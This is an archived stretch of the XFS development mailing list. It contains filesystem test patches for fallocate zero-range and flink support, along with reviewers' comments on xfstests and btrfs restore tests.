SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 167D17F76 for ; Tue, 25 Feb 2014 13:15:43 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 90D77AC002 for ; Tue, 25 Feb 2014 11:15:42 -0800 (PST) X-ASG-Debug-ID: 1393355741-04cb6c567532960001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 9UXrZcoiGfNGpF0C for ; Tue, 25 Feb 2014 11:15:41 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1PJFcKK015737 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 25 Feb 2014 14:15:39 -0500 Received: from localhost.localdomain.com (vpn1-4-133.ams2.redhat.com [10.36.4.133]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1PJFTa5013764; Tue, 25 Feb 2014 14:15:35 -0500 From: Lukas Czerner To: linux-ext4@vger.kernel.org Cc: xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org, Lukas Czerner Subject: [PATCH 2/6] xfstests: Add fallocate zero range operation to fsstress Date: Tue, 25 Feb 2014 20:15:24 +0100 X-ASG-Orig-Subj: [PATCH 2/6] xfstests: Add fallocate zero range operation to fsstress Message-Id: <1393355728-12056-2-git-send-email-lczerner@redhat.com> In-Reply-To: <1393355728-12056-1-git-send-email-lczerner@redhat.com> References: <1393355728-12056-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393355741 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Signed-off-by: Lukas Czerner --- ltp/fsstress.c | 62 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 62 insertions(+) diff --git a/ltp/fsstress.c b/ltp/fsstress.c index c56f168..4c3368f 100644 --- a/ltp/fsstress.c +++ b/ltp/fsstress.c @@ -33,6 +33,9 @@ /* Copy-paste from linux/falloc.h */ #define FALLOC_FL_PUNCH_HOLE 0x02 /* de-allocates range */ #endif +#ifndef FALLOC_FL_ZERO_RANGE +#define FALLOC_FL_ZERO_RANGE 0x10 /* zeroes range */ +#endif #endif #ifndef HAVE_ATTR_LIST #define attr_list(path, buf, size, flags, cursor) (errno = -ENOSYS, -1) @@ -77,6 +80,7 @@ typedef enum { OP_MKDIR, OP_MKNOD, OP_PUNCH, + OP_ZERO, OP_READ, OP_READLINK, OP_RENAME, @@ -162,6 +166,7 @@ void link_f(int, long); void mkdir_f(int, long); void mknod_f(int, long); void punch_f(int, long); +void zero_f(int, long); void read_f(int, long); void readlink_f(int, long); void rename_f(int, long); @@ -199,6 +204,7 @@ opdesc_t ops[] = { { OP_MKDIR, "mkdir", mkdir_f, 2, 1 }, { OP_MKNOD, "mknod", mknod_f, 2, 1 }, { OP_PUNCH, "punch", punch_f, 1, 1 }, + { OP_ZERO, "zero", zero_f, 1, 1 }, { OP_READ, "read", read_f, 1, 0 }, { OP_READLINK, "readlink", readlink_f, 1, 0 }, { OP_RENAME, "rename", rename_f, 2, 1 }, @@ -2561,6 +2567,62 @@ punch_f(int opno, long r) } void +zero_f(int opno, long r) +{ +#ifdef FALLOCATE + int e; + pathname_t f; + int fd; + __int64_t lr; + off64_t off; + off64_t len; + struct stat64 stb; + int v; + char st[1024]; + int mode = FALLOC_FL_ZERO_RANGE; + + init_pathname(&f); + if (!get_fname(FT_REGFILE, r, &f, NULL, NULL, &v)) { + if (v) + printf("%d/%d: zero range - no filename\n", procid, opno); + free_pathname(&f); + return; + } + fd = open_path(&f, O_RDWR); + e = fd < 0 ? errno : 0; + check_cwd(); + if (fd < 0) { + if (v) + printf("%d/%d: zero range - open %s failed %d\n", + procid, opno, f.path, e); + free_pathname(&f); + return; + } + if (fstat64(fd, &stb) < 0) { + if (v) + printf("%d/%d: zero range - fstat64 %s failed %d\n", + procid, opno, f.path, errno); + free_pathname(&f); + close(fd); + return; + } + inode_info(st, sizeof(st), &stb, v); + lr = ((__int64_t)random() << 32) + random(); + off = (off64_t)(lr % MIN(stb.st_size + (1024 * 1024), MAXFSIZE)); + off %= maxfsize; + len = (off64_t)(random() % (1024 * 1024)); + mode |= FALLOC_FL_KEEP_SIZE & random(); + e = fallocate(fd, mode, (loff_t)off, (loff_t)len) < 0 ? errno : 0; + if (v) + printf("%d/%d: zero range(%d) %s %s %lld %lld %d\n", + procid, opno, mode, + f.path, st, (long long)off, (long long)len, e); + free_pathname(&f); + close(fd); +#endif +} + +void read_f(int opno, long r) { char *buf; -- 1.8.3.1 From lczerner@redhat.com Tue Feb 25 13:15:49 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id AE9537F82 for ; Tue, 25 Feb 2014 13:15:49 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 118AA8F806F for ; Tue, 25 Feb 2014 11:15:49 -0800 (PST) X-ASG-Debug-ID: 1393355748-04cb6c567632990001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id pAvQqnVY9Dvg5Xf5 for ; Tue, 25 Feb 2014 11:15:48 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1PJFi1d017866 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 25 Feb 2014 14:15:46 -0500 Received: from localhost.localdomain.com (vpn1-4-133.ams2.redhat.com [10.36.4.133]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1PJFTa8013764; Tue, 25 Feb 2014 14:15:42 -0500 From: Lukas Czerner To: linux-ext4@vger.kernel.org Cc: xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org, Lukas Czerner Subject: [PATCH 5/6] xfstests: Define fallocate flags locally in fsx Date: Tue, 25 Feb 2014 20:15:27 +0100 X-ASG-Orig-Subj: [PATCH 5/6] xfstests: Define fallocate flags locally in fsx Message-Id: <1393355728-12056-5-git-send-email-lczerner@redhat.com> In-Reply-To: <1393355728-12056-1-git-send-email-lczerner@redhat.com> References: <1393355728-12056-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393355748 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Define fallocate flags such as FALLOC_FL_PUNCH_HOLE and FALLOC_FL_ZERO_RANGE locally if they do not exist. Signed-off-by: Lukas Czerner --- ltp/fsx.c | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/ltp/fsx.c b/ltp/fsx.c index b3c30db..331257e 100644 --- a/ltp/fsx.c +++ b/ltp/fsx.c @@ -35,8 +35,13 @@ #endif #ifdef FALLOCATE #include +#ifndef FALLOC_FL_PUNCH_HOLE +#define FALLOC_FL_PUNCH_HOLE 0x02 /* de-allocates range */ +#endif +#ifndef FALLOC_FL_ZERO_RANGE +#define FALLOC_FL_ZERO_RANGE 0x10 /* zeroes range */ +#endif #endif - #ifndef MAP_FILE # define MAP_FILE 0 #endif -- 1.8.3.1 From david@fromorbit.com Tue Feb 25 13:31:08 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id DA0C47F52 for ; Tue, 25 Feb 2014 13:31:08 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id B7280304066 for ; Tue, 25 Feb 2014 11:31:08 -0800 (PST) X-ASG-Debug-ID: 1393356666-04cb6c5676332a0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id CArm54I2us7tS8yP for ; Tue, 25 Feb 2014 11:31:07 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlFoAMLuDFN5LJYePGdsb2JhbABZgwY7qUkDkwWFVoEYFwMBAQEBODWCJQEBBTocIxAIAxgJJQ8FJQMHGhOIBA7IGBcWjD+BeweEOASYNYpTiUWBUig Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail05.adl6.internode.on.net with ESMTP; 26 Feb 2014 06:01:04 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WINiX-0001yX-Tn; Wed, 26 Feb 2014 06:31:01 +1100 Date: Wed, 26 Feb 2014 06:31:01 +1100 From: Dave Chinner To: Dongsu Park Cc: Namjae Jeon , linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, tytso@mit.edu, Lukas Czerner , Namjae Jeon , Ashish Sangwan Subject: Re: [PATCH] util-linux/fallocate: introduce an option -c to support FALLOC_FL_COLLAPSE_RANGE Message-ID: <20140225193101.GW13647@dastard> X-ASG-Orig-Subj: Re: [PATCH] util-linux/fallocate: introduce an option -c to support FALLOC_FL_COLLAPSE_RANGE References: <1393355305-12009-1-git-send-email-dongsu.park@profitbricks.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1393355305-12009-1-git-send-email-dongsu.park@profitbricks.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1393356666 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145505 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 25, 2014 at 08:08:25PM +0100, Dongsu Park wrote: > Introduce a new option -c (or --collapse-range) to support a new flag > FALLOC_FL_COLLAPSE_RANGE for fallocate(2). It will nullify a particular > range [offset, offset+len] by shifting extents beyond the range to the > beginning of the hole. > > To test that, it's necessary to apply kernel patches in the patchset > "fs: Introduce new flag (FALLOC_FL_COLLAPSE_RANGE) for fallocate" [1], > as well as "[PATCH v6] ext4: Add support FALLOC_FL_COLLAPSE_RANGE for > fallocate". [2] > > As discussed in the thread "[PATCH RESEND 3/10] ext4: Add support > FALLOC_FL_COLLAPSE_RANGE for fallocate", [3] this patch to util-linux > will be useful for testing collapse-range inside xfstests. FYI, we've already got support in xfs_io for collapse-range tests inside xfstests. http://oss.sgi.com/cgi-bin/gitweb.cgi?p=xfs/cmds/xfsprogs.git;a=commit;h=ca692f162d36c871c9c1b6169136b2c70503f2d8 There are already several tests that use it. Cheers, Dave. -- Dave Chinner david@fromorbit.com From BATV+721a346f09f87d5574fc+3838+infradead.org+hch@bombadil.srs.infradead.org Tue Feb 25 13:52:21 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 38B557F50 for ; Tue, 25 Feb 2014 13:52:21 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 08D9C30406A for ; Tue, 25 Feb 2014 11:52:21 -0800 (PST) X-ASG-Debug-ID: 1393357938-04cb6c567633e90001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id Y5lKDtuuZxs2FFrE (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 25 Feb 2014 11:52:19 -0800 (PST) X-Barracuda-Envelope-From: BATV+721a346f09f87d5574fc+3838+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WIO38-0003fg-IU for xfs@oss.sgi.com; Tue, 25 Feb 2014 19:52:18 +0000 Date: Tue, 25 Feb 2014 11:52:18 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com Subject: [PATCH v2] xfs_io: add support for flink Message-ID: <20140225195218.GA14110@infradead.org> X-ASG-Orig-Subj: [PATCH v2] xfs_io: add support for flink References: <20140220220000.GA17541@infradead.org> <20140221004933.GA9445@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140221004933.GA9445@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1393357939 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145507 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Signed-off-by: Christoph Hellwig diff --git a/io/Makefile b/io/Makefile index eaeb5b2..c16af87 100644 --- a/io/Makefile +++ b/io/Makefile @@ -9,8 +9,8 @@ LTCOMMAND = xfs_io LSRCFILES = xfs_bmap.sh xfs_freeze.sh xfs_mkfile.sh HFILES = init.h io.h CFILES = init.c \ - attr.c bmap.c file.c freeze.c fsync.c getrusage.c imap.c mmap.c \ - open.c parent.c pread.c prealloc.c pwrite.c seek.c shutdown.c \ + attr.c bmap.c file.c freeze.c fsync.c getrusage.c imap.c link.c \ + mmap.c open.c parent.c pread.c prealloc.c pwrite.c seek.c shutdown.c \ truncate.c LLDLIBS = $(LIBXCMD) $(LIBHANDLE) diff --git a/io/init.c b/io/init.c index fd1a52f..7d7bb89 100644 --- a/io/init.c +++ b/io/init.c @@ -58,6 +58,7 @@ init_commands(void) bmap_init(); fadvise_init(); file_init(); + flink_init(); freeze_init(); fsync_init(); getrusage_init(); diff --git a/io/io.h b/io/io.h index 0d2d768..1b3bca1 100644 --- a/io/io.h +++ b/io/io.h @@ -93,6 +93,7 @@ extern void dump_buffer(off64_t, ssize_t); extern void attr_init(void); extern void bmap_init(void); extern void file_init(void); +extern void flink_init(void); extern void freeze_init(void); extern void fsync_init(void); extern void getrusage_init(void); diff --git a/io/link.c b/io/link.c new file mode 100644 index 0000000..9c2d1f8 --- /dev/null +++ b/io/link.c @@ -0,0 +1,70 @@ +/* + * Copyright (c) 2014 Christoph Hellwig. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#include +#include +#include +#include "init.h" +#include "io.h" + +#ifndef AT_EMPTY_PATH +#define AT_EMPTY_PATH 0x1000 +#endif + +static cmdinfo_t flink_cmd; + +static void +flink_help(void) +{ + printf(_( +"\n" +"link the open file descriptor to the supplied filename\n" +"\n" +"\n")); +} + +static int +flink_f( + int argc, + char **argv) +{ + if (argc != 2) + return command_usage(&flink_cmd); + + if (linkat(file->fd, "", AT_FDCWD, argv[1], AT_EMPTY_PATH) < 0) { + perror("flink"); + return 0; + } + return 0; +} + +void +flink_init(void) +{ + flink_cmd.name = "flink"; + flink_cmd.cfunc = flink_f; + flink_cmd.argmin = 1; + flink_cmd.argmax = 1; + flink_cmd.flags = CMD_NOMAP_OK | CMD_FOREIGN_OK; + flink_cmd.args = _("filename"); + flink_cmd.oneline = + _("link the open file descriptor to the supplied filename"); + flink_cmd.help = flink_help; + + add_command(&flink_cmd); +} diff --git a/man/man8/xfs_io.8 b/man/man8/xfs_io.8 index 7a92ff6..72f8210 100644 --- a/man/man8/xfs_io.8 +++ b/man/man8/xfs_io.8 @@ -638,6 +638,10 @@ Only available in expert mode and requires privileges. Undo the effects of a filesystem freeze operation. Only available in expert mode and requires privileges. .TP +.BI "flink " path +Reads a range of bytes in a specified blocksize from the given +Link the currently open file descriptor into the filesystem namespace. +.TP .BI "inject [ " tag " ]" Inject errors into a filesystem to observe filesystem behavior at specific points under adverse conditions. Without the From david@fromorbit.com Tue Feb 25 13:54:26 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 71A9E7F50 for ; Tue, 25 Feb 2014 13:54:26 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id ED08EAC003 for ; Tue, 25 Feb 2014 11:54:25 -0800 (PST) X-ASG-Debug-ID: 1393358063-04cbb066e6371a0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id Xe9euBoDyMRBLeHz for ; Tue, 25 Feb 2014 11:54:23 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AtpMAJj0DFN5LJYePGdsb2JhbABZgwaIT7Q9hVaBGBcDAQEBATg1giUBAQU6HCMQCAMYCSUPBQ0YAwcaE4dxAxDBAQ2HMBcWjCaCFAeEOASWSYFsjGKJCCg Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail05.adl6.internode.on.net with ESMTP; 26 Feb 2014 06:24:22 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WIO56-00021r-QP; Wed, 26 Feb 2014 06:54:20 +1100 Date: Wed, 26 Feb 2014 06:54:20 +1100 From: Dave Chinner To: Filipe David Borba Manana Cc: xfs@oss.sgi.com, linux-btrfs@vger.kernel.org Subject: Re: [PATCH v2] xfstests: add test for btrfs-progs restore feature Message-ID: <20140225195420.GX13647@dastard> X-ASG-Orig-Subj: Re: [PATCH v2] xfstests: add test for btrfs-progs restore feature References: <1393352816-26065-1-git-send-email-fdmanana@gmail.com> <1393353848-26790-1-git-send-email-fdmanana@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1393353848-26790-1-git-send-email-fdmanana@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1393358063 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145507 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 25, 2014 at 06:44:08PM +0000, Filipe David Borba Manana wrote: > This is a regression test to verify that the restore feature of btrfs-progs > is able to correctly recover files that have compressed extents, specially when > the respective file extent items have a non-zero data offset field. > > This issue is fixed by the following btrfs-progs patch: > > Btrfs-progs: fix restore of files with compressed extents > > Signed-off-by: Filipe David Borba Manana .... > +seq=`basename $0` > +seqres=$RESULT_DIR/$seq > +echo "QA output created by $seq" > + > +tmp=/tmp/$$ > +status=1 # failure is the default! > +trap "_cleanup; exit \$status" 0 1 2 3 15 here=`pwd` > + > +_cleanup() > +{ > + rm -fr $tmp > +} > + > +# get standard environment, filters and checks > +. ./common/rc > +. ./common/filter > + > +# real QA test starts here > +_supported_fs btrfs > +_supported_os Linux > +_require_scratch > +_need_to_be_root > + > +rm -f $seqres.full > + > +test_btrfs_restore() > +{ > + if [ -z $1 ] > + then > + OPTIONS="" > + else > + OPTIONS="-o compress-force=$1" > + fi > + _scratch_mkfs >/dev/null 2>&1 > + _scratch_mount $OPTIONS > + > + $XFS_IO_PROG -f -c "pwrite -S 0xff -b 100000 0 100000" \ > + $SCRATCH_MNT/foo | _filter_xfs_io > + > + # Ensure a single file extent item is persisted. > + _run_btrfs_util_prog filesystem sync $SCRATCH_MNT What's the difference here between "sync" and the command run above? Unless there's some specific reason for using the above command (and that needs to be commented), I think that sync(1) should be used instead in all tests. Indeed, why a separate command - just adding a "-c fsync" to the xfs_io command, or even -s to make it open the file O_SYNC should do what you need without needing a specific sync command.... > + > + $XFS_IO_PROG -c "pwrite -S 0xaa -b 100000 100000 100000" \ > + $SCRATCH_MNT/foo | _filter_xfs_io > + > + # Now ensure a second one is created (and not merged with previous one). > + _run_btrfs_util_prog filesystem sync $SCRATCH_MNT > + > + # Make the extent item be split into several ones, each with a data > + # offset field != 0 > + $XFS_IO_PROG -c "pwrite -S 0x1e -b 2 10000 2" $SCRATCH_MNT/foo \ > + | _filter_xfs_io > + $XFS_IO_PROG -c "pwrite -S 0xd0 -b 11 33000 11" $SCRATCH_MNT/foo \ > + | _filter_xfs_io > + $XFS_IO_PROG -c "pwrite -S 0xbc -b 100 99000 100" $SCRATCH_MNT/foo \ > + | _filter_xfs_io > + > + md5sum $SCRATCH_MNT/foo | _filter_scratch So you are doing this with first having "persisted" the new extents. Seems kind of strange that you need to persist some and not others... > + _scratch_unmount > + _check_scratch_fs _check_scratch_fs should be unmounting the SCRATCH_DEV itself internally. If it's not doing that for btrfs, then the btrfs check code needs fixing. ;) > + > + _run_btrfs_util_prog restore $SCRATCH_DEV $tmp > + md5sum $tmp/foo | cut -d ' ' -f 1 What, exactly, are you restoring to /tmp/$$? Does this assume that /tmp is a btrfs filesystem? If so, that is an invalid assumption - /tmp can be any type of filesystem at all. It's also wrong to use $tmp like this.... > +} > + > +mkdir $tmp > +echo "Testing restore of file compressed with lzo" > +test_btrfs_restore "lzo" > +echo "Testing restore of file compressed with zlib" > +test_btrfs_restore "zlib" > +echo "Testing restore of file without any compression" > +test_btrfs_restore Yup, using $tmp like this is definitely wrong. $tmp is really for test harness files and test logs, not for *test data*. TEST_DIR is what you should be using here, not $tmp. Cheers, Dave. -- Dave Chinner david@fromorbit.com From BATV+721a346f09f87d5574fc+3838+infradead.org+hch@bombadil.srs.infradead.org Tue Feb 25 14:01:14 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 399E67F50 for ; Tue, 25 Feb 2014 14:01:14 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id E4EAEAC001 for ; Tue, 25 Feb 2014 12:01:10 -0800 (PST) X-ASG-Debug-ID: 1393358469-04bdf05dac374a0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id 5vcoMn2zWhEgnzF3 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 25 Feb 2014 12:01:09 -0800 (PST) X-Barracuda-Envelope-From: BATV+721a346f09f87d5574fc+3838+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WIOBh-0005po-Bc; Tue, 25 Feb 2014 20:01:09 +0000 Date: Tue, 25 Feb 2014 12:01:09 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 01/10] repair: translation lookups limit scalability Message-ID: <20140225200109.GA22351@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 01/10] repair: translation lookups limit scalability References: <1393223369-4696-1-git-send-email-david@fromorbit.com> <1393223369-4696-2-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1393223369-4696-2-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1393358469 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145507 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Looks good, Reviewed-by: Christoph Hellwig From david@fromorbit.com Tue Feb 25 14:01:26 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 086D07F56 for ; Tue, 25 Feb 2014 14:01:26 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id B31678F804C for ; Tue, 25 Feb 2014 12:01:22 -0800 (PST) X-ASG-Debug-ID: 1393358480-04bdf05dac374d0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id jbrpg7WVTNo0uQQ5 for ; Tue, 25 Feb 2014 12:01:20 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AtpMAJ/1DFN5LJYePGdsb2JhbABZgwaIT7Q9hVaBGBcDAQEBATg1giUBAQU6HCMQCAMOCgklDwUlAwcaE4gEyDQXFo1NbQeEOAEDmDWVaig Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by 